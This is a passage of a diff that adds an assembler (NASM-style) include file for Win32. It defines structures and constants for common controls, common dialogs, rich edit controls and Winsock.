+.pszValueName RESD 1 +ENDSTRUC + +STRUC TBREPLACEBITMAP +.hInstOld RESD 1 +.nIdOld RESD 1 +.hInstNew RESD 1 +.nIdNew RESD 1 +.nButtons RESD 1 +ENDSTRUC + +STRUC TBNOTIFY +.hdr RESB NMHDR_size +.iItem RESD 1 +.tbButton RESB TBBUTTON_size +.cchText RESD 1 +.pszText RESD 1 +ENDSTRUC + +STRUC TOOLINFO +.cbSize RESD 1 +.uFlags RESD 1 +.hWnd RESD 1 +.uId RESD 1 +.rect RESB RECT_size +.hInst RESD 1 +.lpszText RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC TT_HITTESTINFO +.hWnd RESD 1 +.pt RESB POINT_size +.ti RESB TOOLINFO_size +ENDSTRUC + +STRUC TOOLTIPTEXT +.hdr RESB NMHDR_size +.lpszText RESD 1 +.szText RESB 80 +.hInst RESD 1 +.uFlags RESD 1 +ENDSTRUC + +STRUC DRAGLISTINFO +.uNotification RESD 1 +.hWnd RESD 1 +.ptCursor RESB POINT_size +ENDSTRUC + +STRUC UDACCEL +.nSec RESD 1 +.nInc RESD 1 +ENDSTRUC + +STRUC NM_UPDOWN +.hdr RESB NMHDR_size +.iPos RESD 1 +.iDelta RESD 1 +ENDSTRUC + +STRUC LV_ITEM +.imask RESD 1 +.iItem RESD 1 +.iSubItem RESD 1 +.state RESD 1 +.stateMask RESD 1 +.pszText RESD 1 +.cchTextMax RESD 1 +.iImage RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC LV_FINDINFO +.flags RESD 1 +.psz RESD 1 +.lParam RESD 1 +.pt RESB POINT_size +.vkDirection RESD 1 +ENDSTRUC + +STRUC LV_HITTESTINFO +.pt RESB POINT_size +.flags RESD 1 +.iItem RESD 1 +ENDSTRUC + +STRUC LV_COLUMN +.imask RESD 1 +.fmt RESD 1 +.lx RESD 1 +.pszText RESD 1 +.cchTextMax RESD 1 +.iSubItem RESD 1 +ENDSTRUC + +STRUC NM_LISTVIEW +.hdr RESB NMHDR_size +.iItem RESD 1 +.iSubItem RESD 1 +.uNewState RESD 1 +.uOldState RESD 1 +.uChanged RESD 1 +.ptAction RESB POINT_size +.lParam RESD 1 +ENDSTRUC + +STRUC LV_DISPINFO +.hdr RESB NMHDR_size +.item RESD 1 +ENDSTRUC + +STRUC LV_KEYDOWN +.hdr RESB NMHDR_size +.wVKey RESW 1 +.flags RESD 1 +ENDSTRUC + +STRUC TREEITEM +.dummy RESD 1 +ENDSTRUC + +STRUC TV_ITEM +.imask RESD 1 +.hItem RESD 1 +.state RESD 1 +.stateMask RESD 1 +.pszText RESD 1 +.cchTextMax RESD 1 +.iImage RESD 1 +.iSelectedImage RESD 1 +.cChildren RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC TV_INSERTSTRUCT +.hParent RESD 1 +.hInsertAfter RESD 1 +.item RESD 1 +ENDSTRUC + +STRUC TV_HITTESTINFO +.pt RESB POINT_size +.flags RESD 1 +.hItem RESD 1 +ENDSTRUC + +STRUC TV_SORTCB +.hParent RESD 1 +.lpfnCompare RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC NM_TREEVIEW +.hdr RESB NMHDR_size +.action RESD 1 +.itemOld RESD 1 +.itemNew RESD 1 +.ptDrag RESB POINT_size +ENDSTRUC + +STRUC TV_DISPINFO +.hdr RESB NMHDR_size +.item RESD 1 +ENDSTRUC + +STRUC TV_KEYDOWN +.hdr RESB NMHDR_size +.wVKey RESW 1 +.flags RESD 1 +ENDSTRUC + +STRUC TC_ITEMHEADER +.imask RESD 1 +.lpReserved1 RESD 1 +.lpReserved2 RESD 1 +.pszText RESD 1 +.cchTextMax RESD 1 +.iImage RESD 1 +ENDSTRUC + +STRUC TC_ITEM +.imask RESD 1 +.lpReserved1 RESD 1 +.lpReserved2 RESD 1 +.pszText RESD 1 +.cchTextMax RESD 1 +.iImage RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC TC_HITTESTINFO +.pt RESB POINT_size +.flags RESD 1 +ENDSTRUC + +STRUC TC_KEYDOWN +.hdr RESB NMHDR_size +.wVKey RESW 1 +.flags RESD 1 +ENDSTRUC + +;--------------------------comdlg equates------------------------------- +%define CDERR_GENERALCODES 0000h +%define CDERR_STRUCTSIZE 0001h +%define CDERR_INITIALIZATION 0002h +%define CDERR_NOTEMPLATE 0003h +%define CDERR_NOHINSTANCE 0004h +%define CDERR_LOADSTRFAILURE 0005h +%define CDERR_FINDRESFAILURE 0006h +%define CDERR_LOADRESFAILURE 0007h +%define CDERR_LOCKRESFAILURE 0008h +%define CDERR_MEMALLOCFAILURE 0009h +%define CDERR_MEMLOCKFAILURE 000Ah +%define CDERR_NOHOOK 000Bh +%define CDERR_REGISTERMSGFAIL 000Ch +%define CC_RGBINIT 00000001h +%define CC_FULLOPEN 00000002h +%define CC_PREVENTFULLOPEN 00000004h +%define CC_SHOWHELP 00000008h +%define CC_ENABLEHOOK 00000010h +%define CC_ENABLETEMPLATE 00000020h +%define CC_ENABLETEMPLATEHANDLE 00000040h +%define CCERR_CHOOSECOLORCODES 5000h +%define FR_DOWN 00000001h +%define FR_WHOLEWORD 00000002h +%define FR_MATCHCASE 00000004h +%define FR_FINDNEXT 00000008h +%define FR_REPLACE 00000010h +%define FR_REPLACEALL 00000020h +%define FR_DIALOGTERM 00000040h +%define FR_SHOWHELP 00000080h +%define FR_ENABLEHOOK 00000100h +%define FR_ENABLETEMPLATE 00000200h +%define FR_NOUPDOWN 00000400h +%define FR_NOMATCHCASE 00000800h +%define FR_NOWHOLEWORD 00001000h +%define FR_ENABLETEMPLATEHANDLE 00002000h +%define FR_HIDEUPDOWN 00004000h +%define FR_HIDEMATCHCASE 00008000h +%define FR_HIDEWHOLEWORD 00010000h +%define FRERR_FINDREPLACECODES 4000h +%define FRERR_BUFFERLENGTHZERO 4001h +%define CF_SCREENFONTS 00000001h +%define CF_PRINTERFONTS 00000002h +%define CF_BOTH CF_SCREENFONTS+CF_PRINTERFONTS +%define CF_SHOWHELP 00000004h +%define CF_ENABLEHOOK 00000008h +%define CF_ENABLETEMPLATE 00000010h +%define CF_ENABLETEMPLATEHANDLE 00000020h +%define CF_INITTOLOGFONTSTRUCT 00000040h +%define CF_USESTYLE 00000080h +%define CF_EFFECTS 00000100h +%define CF_APPLY 00000200h +%define CF_ANSIONLY 00000400h +%define CF_NOVECTORFONTS 00000800h +%define CF_NOOEMFONTS CF_NOVECTORFONTS +%define CF_NOSIMULATIONS 00001000h +%define CF_LIMITSIZE 00002000h +%define CF_FIXEDPITCHONLY 00004000h +%define CF_WYSIWYG 00008000h +%define CF_FORCEFONTEXIST 00010000h +%define CF_SCALABLEONLY 00020000h +%define CF_TTONLY 00040000h +%define CF_NOFACESEL 00080000h +%define CF_NOSTYLESEL 00100000h +%define CF_NOSIZESEL 00200000h +%define CFERR_CHOOSEFONTCODES 2000h +%define CFERR_NOFONTS 2001h +%define CFERR_MAXLESSTHANMIN 2002h +%define WM_CHOOSEFONT_GETLOGFONT WM_USER+1 +%define CD_LBSELNOITEMS -1 +%define CD_LBSELCHANGE 0 +%define CD_LBSELSUB 1 +%define CD_LBSELADD 2 +%define PD_ALLPAGES 00000000h +%define PD_SELECTION 00000001h +%define PD_PAGENUMS 00000002h +%define PD_NOSELECTION 00000004h +%define PD_NOPAGENUMS 00000008h +%define PD_COLLATE 00000010h +%define PD_PRINTTOFILE 00000020h +%define PD_PRINTSETUP 00000040h +%define PD_NOWARNING 00000080h +%define PD_RETURNDC 00000100h +%define PD_RETURNIC 00000200h +%define PD_RETURNDEFAULT 00000400h +%define PD_SHOWHELP 00000800h +%define PD_ENABLEPRINTHOOK 00001000h +%define PD_ENABLESETUPHOOK 00002000h +%define PD_ENABLEPRINTTEMPLATE 00004000h +%define PD_ENABLESETUPTEMPLATE 00008000h +%define PD_ENABLEPRINTTEMPLATEHANDLE 00010000h +%define PD_ENABLESETUPTEMPLATEHANDLE 00020000h +%define PD_USEDEVMODECOPIES 00040000h +%define PD_DISABLEPRINTTOFILE 00080000h +%define PD_HIDEPRINTTOFILE 00100000h +%define PDERR_PRINTERCODES 1000h +%define PDERR_SETUPFAILURE 1001h +%define PDERR_PARSEFAILURE 1002h +%define PDERR_RETDEFFAILURE 1003h +%define PDERR_LOADDRVFAILURE 1004h +%define PDERR_GETDEVMODEFAIL 1005h +%define PDERR_INITFAILURE 1006h +%define PDERR_NODEVICES 1007h +%define PDERR_NODEFAULTPRN 1008h +%define PDERR_DNDMMISMATCH 1009h +%define PDERR_CREATEICFAILURE 100Ah +%define PDERR_PRINTERNOTFOUND 100Bh +%define PDERR_DEFAULTDIFFERENT 100Ch +%define DN_DEFAULTPRN 0001h +%define OFN_ALLOWMULTISELECT 00000200h +%define OFN_CREATEPROMPT 00002000h +%define OFN_ENABLEHOOK 00000020h +%define OFN_ENABLETEMPLATE 00000040h +%define OFN_ENABLETEMPLATEHANDLE 00000080h +%define OFN_EXPLORER 00080000h +%define OFN_EXTENSIONDIFFERENT 00000400h +%define OFN_FILEMUSTEXIST 00001000h +%define OFN_HIDEREADONLY 00000004h +%define OFN_LONGNAMES 00200000h +%define OFN_NOCHANGEDIR 00000008h +%define OFN_NODEREFERENCELINKS 00100000h +%define OFN_NOLONGNAMES 00040000h +%define OFN_NONETWORKBUTTON 00020000h +%define OFN_NOREADONLYRETURN 00008000h +%define OFN_NOTESTFILECREATE 00010000h +%define OFN_NOVALIDATE 00000100h +%define OFN_OVERWRITEPROMPT 00000002h +%define OFN_PATHMUSTEXIST 00000800h +%define OFN_READONLY 00000001h +%define OFN_SHAREAWARE 00004000h +%define OFN_SHOWHELP 00000010h +%define OFN_SHAREFALLTHROUGH 2 +%define OFN_SHARENOWARN 1 +%define OFN_SHAREWARN 0 +%define CDERR_DIALOGFAILURE 0FFFFh +%define FNERR_FILENAMECODES 3000h +%define FNERR_SUBCLASSFAILURE 3001h +%define FNERR_INVALIDFILENAME 3002h +%define FNERR_BUFFERTOOSMALL 3003h +;--------------------------comdlg structures---------------------------- +STRUC CHOOSECOLORAPI +.lStructSize RESD 1 +.hwndOwner RESD 1 +.hInstance RESD 1 +.rgbResult RESD 1 +.lpCustColors RESD 1 +.Flags RESD 1 +.lCustData RESD 1 +.lpfnHook RESD 1 +.lpTemplateName RESD 1 +ENDSTRUC + +STRUC FINDREPLACE +.lStructSize RESD 1 +.hWndOwner RESD 1 +.hInstance RESD 1 +.Flags RESD 1 +.lpstrFindWhat RESD 1 +.lpstrReplaceWith RESD 1 +.wFindWhatLen RESW 1 +.wReplaceWithLen RESW 1 +.lCustData RESD 1 +.lpfnHook RESD 1 +.lpTemplateName RESD 1 +ENDSTRUC + +STRUC CHOOSEFONTAPI +.lStructSize RESD 1 +.hWndOwner RESD 1 +.hDC RESD 1 +.lpLogFont RESD 1 +.iPointSize RESD 1 +.Flags RESD 1 +.rgbColors RESD 1 +.lCustData RESD 1 +.lpfnHook RESD 1 +.lpTemplateName RESD 1 +.hInstance RESD 1 +.lpszStyle RESD 1 +.nFontType RESW 1 +.Alignment RESW 1 +.nSizeMin RESD 1 +.nSizeMax RESD 1 +ENDSTRUC + +STRUC PRINTDLGAPI +.lStructSize RESD 1 +.hWndOwner RESD 1 +.hDevMode RESD 1 +.hDevNames RESD 1 +.hDC RESD 1 +.Flags RESD 1 +.nFromPage RESW 1 +.nToPage RESW 1 +.nMinPage RESW 1 +.nMaxPage RESW 1 +.nCopies RESW 1 +.hInstance RESD 1 +.lCustData RESD 1 +.lpfnPrintHook RESD 1 +.lpfnSetupHook RESD 1 +.lpPrintTemplateName RESD 1 +.lpPrintSetupTemplateName RESD 1 +.hPrintTemplate RESD 1 +.hSetupTemplate RESD 1 +ENDSTRUC + +STRUC OPENFILENAME +.lStructSize RESD 1 +.hWndOwner RESD 1 +.hInstance RESD 1 +.lpstrFilter RESD 1 +.lpstrCustomFilter RESD 1 +.nMaxCustFilter RESD 1 +.nFilterIndex RESD 1 +.lpstrFile RESD 1 +.nMaxFile RESD 1 +.lpstrFileTitle RESD 1 +.nMaxFileTitle RESD 1 +.lpstrInitialDir RESD 1 +.lpstrTitle RESD 1 +.Flags RESD 1 +.nFileOffset RESW 1 +.nFileExtension RESW 1 +.lpstrDefExt RESD 1 +.lCustData RESD 1 +.lpfnHook RESD 1 +.lpTemplateName RESD 1 +ENDSTRUC + +;--------------------------riched equates------------------------------- +%define cchTextLimitDefault 32767 +%define EM_CANPASTE WM_USER+50 +%define EM_DISPLAYBAND WM_USER+51 +%define EM_EXGETSEL WM_USER+52 +%define EM_EXLIMITTEXT WM_USER+53 +%define EM_EXLINEFROMCHAR WM_USER+54 +%define EM_EXSETSEL WM_USER+55 +%define EM_FINDTEXT WM_USER+56 +%define EM_FORMATRANGE WM_USER+57 +%define EM_GETCHARFORMAT WM_USER+58 +%define EM_GETEVENTMASK WM_USER+59 +%define EM_GETOLEINTERFACE WM_USER+60 +%define EM_GETPARAFORMAT WM_USER+61 +%define EM_GETSELTEXT WM_USER+62 +%define EM_HIDESELECTION WM_USER+63 +%define EM_PASTESPECIAL WM_USER+64 +%define EM_REQUESTRESIZE WM_USER+65 +%define EM_SELECTIONTYPE WM_USER+66 +%define EM_SETBKGNDCOLOR WM_USER+67 +%define EM_SETCHARFORMAT WM_USER+68 +%define EM_SETEVENTMASK WM_USER+69 +%define EM_SETOLECALLBACK WM_USER+70 +%define EM_SETPARAFORMAT WM_USER+71 +%define EM_SETTARGETDEVICE WM_USER+72 +%define EM_STREAMIN WM_USER+73 +%define EM_STREAMOUT WM_USER+74 +%define EM_GETTEXTRANGE WM_USER+75 +%define EM_FINDWORDBREAK WM_USER+76 +%define EM_SETOPTIONS WM_USER+77 +%define EM_GETOPTIONS WM_USER+78 +%define EM_FINDTEXTEX WM_USER+79 +%define EM_GETWORDBREAKPROCEX WM_USER+80 +%define EM_SETWORDBREAKPROCEX WM_USER+81 +%define EM_SETPUNCTUATION WM_USER+100 +%define EM_GETPUNCTUATION WM_USER+101 +%define EM_SETWORDWRAPMODE WM_USER+102 +%define EM_GETWORDWRAPMODE WM_USER+103 +%define EM_SETIMECOLOR WM_USER+104 +%define EM_GETIMECOLOR WM_USER+105 +%define EM_SETIMEOPTIONS WM_USER+106 +%define EM_GETIMEOPTIONS WM_USER+107 +%define EN_MSGFILTER 0700h +%define EN_REQUESTRESIZE 0701h +%define EN_SELCHANGE 0702h +%define EN_DROPFILES 0703h +%define EN_PROTECTED 0704h +%define EN_CORRECTTEXT 0705h +%define EN_STOPNOUNDO 0706h +%define EN_IMECHANGE 0707h +%define EN_SAVECLIPBOARD 0708h +%define EN_OLEOPFAILED 0709h +%define ENM_NONE 00000000h +%define ENM_CHANGE 00000001h +%define ENM_UPDATE 00000002h +%define ENM_SCROLL 00000004h +%define ENM_KEYEVENTS 00010000h +%define ENM_MOUSEEVENTS 00020000h +%define ENM_REQUESTRESIZE 00040000h +%define ENM_SELCHANGE 00080000h +%define ENM_DROPFILES 00100000h +%define ENM_PROTECTED 00200000h +%define ENM_CORRECTTEXT 00400000h +%define ENM_IMECHANGE 00800000h +%define ES_SAVESEL 00008000h +%define ES_SUNKEN 00004000h +%define ES_DISABLENOSCROLL 00002000h +%define ES_SELECTIONBAR 01000000h +%define ES_EX_NOCALLOLEINIT 01000000h +%define ES_VERTICAL 00400000h +%define ES_NOIME 00080000h +%define ES_SELFIME 00040000h +%define ECO_AUTOWORDSELECTION 00000001h +%define ECO_AUTOVSCROLL 00000040h +%define ECO_AUTOHSCROLL 00000080h +%define ECO_NOHIDESEL 00000100h +%define ECO_READONLY 00000800h +%define ECO_WANTRETURN 00001000h +%define ECO_SAVESEL 00008000h +%define ECO_SELECTIONBAR 01000000h +%define ECO_VERTICAL 00400000h +%define ECOOP_SET 0001h +%define ECOOP_OR 0002h +%define ECOOP_AND 0003h +%define ECOOP_XOR 0004h +%define WB_CLASSIFY 3 +%define WB_MOVEWORDLEFT 4 +%define WB_MOVEWORDRIGHT 5 +%define WB_LEFTBREAK 6 +%define WB_RIGHTBREAK 7 +%define WB_MOVEWORDPREV 4 +%define WB_MOVEWORDNEXT 5 +%define WB_PREVBREAK 6 +%define WB_NEXTBREAK 7 +%define PC_FOLLOWING 1 +%define PC_LEADING 2 +%define PC_OVERFLOW 3 +%define PC_DELIMITER 4 +%define WBF_WORDWRAP 010h +%define WBF_WORDBREAK 020h +%define WBF_OVERFLOW 040h +%define WBF_LEVEL1 080h +%define WBF_LEVEL2 100h +%define WBF_CUSTOM 200h +%define IMF_FORCENONE 0001h +%define IMF_FORCEENABLE 0002h +%define IMF_FORCEDISABLE 0004h +%define IMF_CLOSESTATUSWINDOW 0008h +%define IMF_VERTICAL 0020h +%define IMF_FORCEACTIVE 0040h +%define IMF_FORCEINACTIVE 0080h +%define IMF_FORCEREMEMBER 0100h +%define WBF_CLASS 0Fh +%define WBF_ISWHITE 10h +%define WBF_BREAKLINE 20h +%define WBF_BREAKAFTER 40h +%define CFM_BOLD 00000001h +%define CFM_ITALIC 00000002h +%define CFM_UNDERLINE 00000004h +%define CFM_STRIKEOUT 00000008h +%define CFM_PROTECTED 00000010h +%define CFM_SIZE 80000000h +%define CFM_COLOR 40000000h +%define CFM_FACE 20000000h +%define CFM_OFFSET 10000000h +%define CFM_CHARSET 08000000h +%define CFE_BOLD 0001h +%define CFE_ITALIC 0002h +%define CFE_UNDERLINE 0004h +%define CFE_STRIKEOUT 0008h +%define CFE_PROTECTED 0010h +%define CFE_AUTOCOLOR 40000000h +%define yHeightCharPtsMost 1638 +%define SCF_SELECTION 0001h +%define SCF_WORD 0002h +%define SF_TEXT 0001h +%define SF_RTF 0002h +%define SF_RTFNOOBJS 0003h +%define SF_TEXTIZED 0004h +%define SFF_SELECTION 8000h +%define SFF_PLAINRTF 4000h +%define MAX_TAB_STOPS 32 +%define lDefaultTab 720 +%define PFM_STARTINDENT 00000001h +%define PFM_RIGHTINDENT 00000002h +%define PFM_OFFSET 00000004h +%define PFM_ALIGNMENT 00000008h +%define PFM_TABSTOPS 00000010h +%define PFM_NUMBERING 00000020h +%define PFM_OFFSETINDENT 80000000h +%define PFN_BULLET 0001h +%define PFA_LEFT 0001h +%define PFA_RIGHT 0002h +%define PFA_CENTER 0003h +%define SEL_EMPTY 0000h +%define SEL_TEXT 0001h +%define SEL_OBJECT 0002h +%define SEL_MULTICHAR 0004h +%define SEL_MULTIOBJECT 0008h +%define OLEOP_DOVERB 1 +;--------------------------riched structures----------------------------- +STRUC CHARFORMAT +.cbSize RESD 1 +.dwMask RESD 1 +.dwEffects RESD 1 +.yHeight RESD 1 +.yOffset RESD 1 +.crTextColor RESD 1 +.bCharSet RESB 1 +.bPitchAndFamily RESB 1 +.szFaceName RESB 1 +ENDSTRUC + +STRUC CHARRANGE +.cpMin RESD 1 +.cpMax RESD 1 +ENDSTRUC + +STRUC TEXTRANGE +.chrg RESB CHARRANGE_size +.lpstrText RESD 1 +ENDSTRUC + +STRUC EDITSTREAM +.dwCookie RESD 1 +.dwError RESD 1 +.pfnCallback RESD 1 +ENDSTRUC + +STRUC FINDTEXT +.chrg RESB CHARRANGE_size +.lpstrText RESD 1 +ENDSTRUC + +STRUC FINDTEXTEX +.chrg RESB CHARRANGE_size +.lpstrText RESD 1 +.chrgText RESB CHARRANGE_size +ENDSTRUC + +STRUC FORMATRANGE +.hdc RESD 1 +.hdcTarget RESD 1 +.rc RESB RECT_size +.rcPage RESB RECT_size +.chrg RESB CHARRANGE_size +ENDSTRUC + +STRUC PARAFORMAT +.cbSize RESD 1 +.dwMask RESD 1 +.wNumbering RESW 1 +.wReserved RESW 1 +.dxStartIndent RESD 1 +.dxRightIndent RESD 1 +.dxOffset RESD 1 +.wAlignment RESW 1 +.cTabCount RESW 1 +.rgxTabs RESD 1 +ENDSTRUC + +STRUC MSGFILTER +.nmhdr RESB NMHDR_size +.msg RESD 1 +.wParam RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC REQRESIZE +.nmhdr RESB NMHDR_size +.rc RESB RECT_size +ENDSTRUC + +STRUC SELCHANGE +.nmhdr RESB NMHDR_size +.chrg RESB CHARRANGE_size +.seltyp RESW 1 +ENDSTRUC + +STRUC ENDROPFILES +.nmhdr RESB NMHDR_size +.hDrop RESD 1 +.cp RESD 1 +.fProtected RESD 1 +ENDSTRUC + +STRUC ENPROTECTED +.nmhdr RESB NMHDR_size +.msg RESD 1 +.wParam RESD 1 +.lParam RESD 1 +.chrg RESB CHARRANGE_size +ENDSTRUC + +STRUC ENSAVECLIPBOARD +.nmhdr RESB NMHDR_size +.cObjectCount RESD 1 +.cch RESD 1 +ENDSTRUC + +STRUC ENOLEOPFAILED +.nmhdr RESB NMHDR_size +.iob RESD 1 +.lOper RESD 1 +.hr RESD 1 +ENDSTRUC + +STRUC ENCORRECTTEXT +.nmhdr RESB NMHDR_size +.chrg RESB CHARRANGE_size +.seltyp RESW 1 +ENDSTRUC + +STRUC PUNCTUATION +.iSize RESD 1 +.szPunctuation RESD 1 +ENDSTRUC + +STRUC COMPCOLOR +.crText RESD 1 +.crBackground RESD 1 +.dwEffects RESD 1 +ENDSTRUC + +STRUC REPASTESPECIAL +.dwAspect RESD 1 +.dwParam RESD 1 +ENDSTRUC + +;--------------------------wsock32 equates------------------------------- +%define WSADESCRIPTION_LEN 256 +%define WSASYS_STATUS_LEN 128 +%define IPPROTO_IP 0 +%define IPPROTO_ICMP 1 +%define IPPROTO_GGP 2 +%define IPPROTO_TCP 6 +%define IPPROTO_PUP 12 +%define IPPROTO_UDP 17 +%define IPPROTO_IDP 22 +%define IPPROTO_ND 77 +%define IPPROTO_RAW 255 +%define IPPROTO_MAX 256 +%define IOCPARM_MASK 7Fh +%define IOC_VOID 20000000h +%define IOC_OUT 40000000h +%define IOC_IN 80000000h +%define IOC_INOUT IOC_IN|IOC_OUT +%define FIONBIO 8004667Eh +%define FIONSYNC 8004667Dh +%define FIONREAD 4004667Fh +%define IPPORT_ECHO 7 +%define IPPORT_DISCARD 9 +%define IPPORT_SYSTAT 11 +%define IPPORT_DAYTIME 13 +%define IPPORT_NETSTAT 15 +%define IPPORT_FTP 21 +%define IPPORT_TELNET 23 +%define IPPORT_SMTP 25 +%define IPPORT_TIMESERVER 37 +%define IPPORT_NAMESERVER 42 +%define IPPORT_WHOIS 43 +%define IPPORT_MTP 57 +%define IPPORT_TFTP 69 +%define IPPORT_RJE 77 +%define IPPORT_FINGER 79 +%define IPPORT_TTYLINK 87 +%define IPPORT_SUPDUP 95 +%define IPPORT_EXECSERVER 512 +%define IPPORT_LOGINSERVER 513 +%define IPPORT_CMDSERVER 514 +%define IPPORT_EFSSERVER 520 +%define IPPORT_BIFFUDP 512 +%define IPPORT_WHOSERVER 513 +%define IPPORT_ROUTESERVER 520 +%define IPPORT_RESERVED 1024 +%define IMPLINK_IP 155 +%define IMPLINK_LOWEXPER 156 +%define IMPLINK_HIGHEXPER 158 +%define IN_CLASSA_NET 0FF000000h +%define IN_CLASSA_NSHIFT 24 +%define IN_CLASSA_HOST 000FFFFFFh +%define IN_CLASSA_MAX 128 +%define IN_CLASSB_NET 0FFFF0000h +%define IN_CLASSB_NSHIFT 16 +%define IN_CLASSB_HOST 00000FFFFh +%define IN_CLASSB_MAX 65536 +%define IN_CLASSC_NET 0FFFFFF00h +%define IN_CLASSC_NSHIFT 8 +%define IN_CLASSC_HOST 0000000FFh +%define INADDR_ANY 000000000h +%define INADDR_LOOPBACK 07F000001h +%define INADDR_BROADCAST 0FFFFFFFFh +%define INADDR_NONE 0FFFFFFFFh +%define SOCK_STREAM 1 +%define SOCK_DGRAM 2 +%define SOCK_RAW 3 +%define SOCK_RDM 4 +%define SOCK_SEQPACKET 5 +%define SO_DEBUG 00001h +%define SO_ACCEPTCONN 00002h +%define SO_REUSEADDR 00004h +%define SO_KEEPALIVE 00008h +%define SO_DONTROUTE 00010h +%define SO_BROADCAST 00020h +%define SO_USELOOPBACK 00040h +%define SO_LINGER 00080h +%define SO_OOBINLINE 00100h +%define SOL_SOCKET 0FFFFh +%define SO_DONTLINGER (-1-SO_LINGER) +%define SO_SNDBUF 01001h +%define SO_RCVBUF 01002h +%define SO_SNDLOWAT 01003h +%define SO_RCVLOWAT 01004h +%define SO_SNDTIMEO 01005h +%define SO_RCVTIMEO 01006h +%define SO_ERROR 01007h +%define SO_TYPE 01008h +%define TCP_NODELAY 00001h +%define AF_UNSPEC 0 +%define AF_UNIX 1 +%define AF_INET 2 +%define AF_IMPLINK 3 +%define AF_PUP 4 +%define AF_CHAOS 5 +%define AF_NS 6 +%define AF_IPX 6 +%define AF_ISO 7 +%define AF_OSI AF_ISO +%define AF_ECMA 8 +%define AF_DATAKIT 9 +%define AF_CCITT 10 +%define AF_SNA 11 +%define AF_DECnet 12 +%define AF_DLI 13 +%define AF_LAT 14 +%define AF_HYLINK 15 +%define AF_APPLETALK 16 +%define AF_NETBIOS 17 +%define AF_MAX 18 +%define PF_UNSPEC AF_UNSPEC +%define PF_UNIX AF_UNIX +%define PF_INET AF_INET +%define PF_IMPLINK AF_IMPLINK +%define PF_PUP AF_PUP +%define PF_CHAOS AF_CHAOS +%define PF_NS AF_NS +%define PF_IPX AF_IPX +%define PF_ISO AF_ISO +%define PF_OSI AF_OSI +%define PF_ECMA AF_ECMA +%define PF_DATAKIT AF_DATAKIT +%define PF_CCITT AF_CCITT +%define PF_SNA AF_SNA +%define PF_DECnet AF_DECnet +%define PF_DLI AF_DLI +%define PF_LAT AF_LAT +%define PF_HYLINK AF_HYLINK +%define PF_APPLETALK AF_APPLETALK +%define PF_MAX AF_MAX +%define SOMAXCONN 5 +%define MSG_OOB 01h +%define MSG_PEEK 02h +%define MSG_DONTROUTE 04h +%define MSG_MAXIOVLEN 16 +%define MAXGETHOSTSTRUCT 1024 +%define FD_READ 001h +%define FD_WRITE 002h +%define FD_OOB 004h +%define FD_ACCEPT 008h +%define FD_CONNECT 010h +%define FD_CLOSE 020h +%define WSABASEERR 10000 +%define WSAEINTR WSABASEERR+4 +%define WSAEBADF WSABASEERR+9 +%define WSAEACCES WSABASEERR+13 +%define WSAEFAULT WSABASEERR+14 +%define WSAEINVAL WSABASEERR+22 +%define WSAEMFILE WSABASEERR+24 +%define WSAEWOULDBLOCK WSABASEERR+35 +%define WSAEINPROGRESS WSABASEERR+36 +%define WSAEALREADY WSABASEERR+37 +%define WSAENOTSOCK WSABASEERR+38 +%define WSAEDESTADDRREQ WSABASEERR+39 +%define WSAEMSGSIZE WSABASEERR+40 +%define WSAEPROTOTYPE WSABASEERR+41 +%define WSAENOPROTOOPT WSABASEERR+42 +%define WSAEPROTONOSUPPORT WSABASEERR+43 +%define WSAESOCKTNOSUPPORT WSABASEERR+44 +%define WSAEOPNOTSUPP WSABASEERR+45 +%define WSAEPFNOSUPPORT WSABASEERR+46 +%define WSAEAFNOSUPPORT WSABASEERR+47 +%define WSAEADDRINUSE WSABASEERR+48 +%define WSAEADDRNOTAVAIL WSABASEERR+49 +%define WSAENETDOWN WSABASEERR+50 +%define WSAENETUNREACH WSABASEERR+51 +%define WSAENETRESET WSABASEERR+52 +%define WSAECONNABORTED WSABASEERR+53 +%define WSAECONNRESET WSABASEERR+54 +%define WSAENOBUFS WSABASEERR+55 +%define WSAEISCONN WSABASEERR+56 +%define WSAENOTCONN WSABASEERR+57 +%define WSAESHUTDOWN WSABASEERR+58 +%define WSAETOOMANYREFS WSABASEERR+59 +%define WSAETIMEDOUT WSABASEERR+60 +%define WSAECONNREFUSED WSABASEERR+61 +%define WSAELOOP WSABASEERR+62 +%define WSAENAMETOOLONG WSABASEERR+63 +%define WSAEHOSTDOWN WSABASEERR+64 +%define WSAEHOSTUNREACH WSABASEERR+65 +%define WSAENOTEMPTY WSABASEERR+66 +%define WSAEPROCLIM WSABASEERR+67 +%define WSAEUSERS WSABASEERR+68 +%define WSAEDQUOT WSABASEERR+69 +%define WSAESTALE WSABASEERR+70 +%define WSAEREMOTE WSABASEERR+71 +%define WSASYSNOTREADY WSABASEERR+91 +%define WSAVERNOTSUPPORTED WSABASEERR+92 +%define WSANOTINITIALISED WSABASEERR+93 +%define WSAHOST_NOT_FOUND WSABASEERR+1001 +%define HOST_NOT_FOUND WSAHOST_NOT_FOUND +%define WSATRY_AGAIN WSABASEERR+1002 +%define TRY_AGAIN WSATRY_AGAIN +%define WSANO_RECOVERY WSABASEERR+1003 +%define NO_RECOVERY WSANO_RECOVERY +%define WSANO_DATA WSABASEERR+1004 +%define NO_DATA WSANO_DATA +%define WSANO_ADDRESS WSANO_DATA +%define NO_ADDRESS WSANO_ADDRESS +%define EWOULDBLOCK WSAEWOULDBLOCK +%define EINPROGRESS WSAEINPROGRESS +%define EALREADY WSAEALREADY +%define ENOTSOCK WSAENOTSOCK +%define EDESTADDRREQ WSAEDESTADDRREQ +%define EMSGSIZE WSAEMSGSIZE +%define EPROTOTYPE WSAEPROTOTYPE +%define ENOPROTOOPT WSAENOPROTOOPT +%define EPROTONOSUPPORT WSAEPROTONOSUPPORT +%define ESOCKTNOSUPPORT WSAESOCKTNOSUPPORT +%define EOPNOTSUPP WSAEOPNOTSUPP +%define EPFNOSUPPORT WSAEPFNOSUPPORT +%define EAFNOSUPPORT WSAEAFNOSUPPORT +%define EADDRINUSE WSAEADDRINUSE +%define EADDRNOTAVAIL WSAEADDRNOTAVAIL +%define ENETDOWN WSAENETDOWN +%define ENETUNREACH WSAENETUNREACH +%define ENETRESET WSAENETRESET +%define ECONNABORTED WSAECONNABORTED +%define ECONNRESET WSAECONNRESET +%define ENOBUFS WSAENOBUFS +%define EISCONN WSAEISCONN +%define ENOTCONN WSAENOTCONN +%define ESHUTDOWN WSAESHUTDOWN 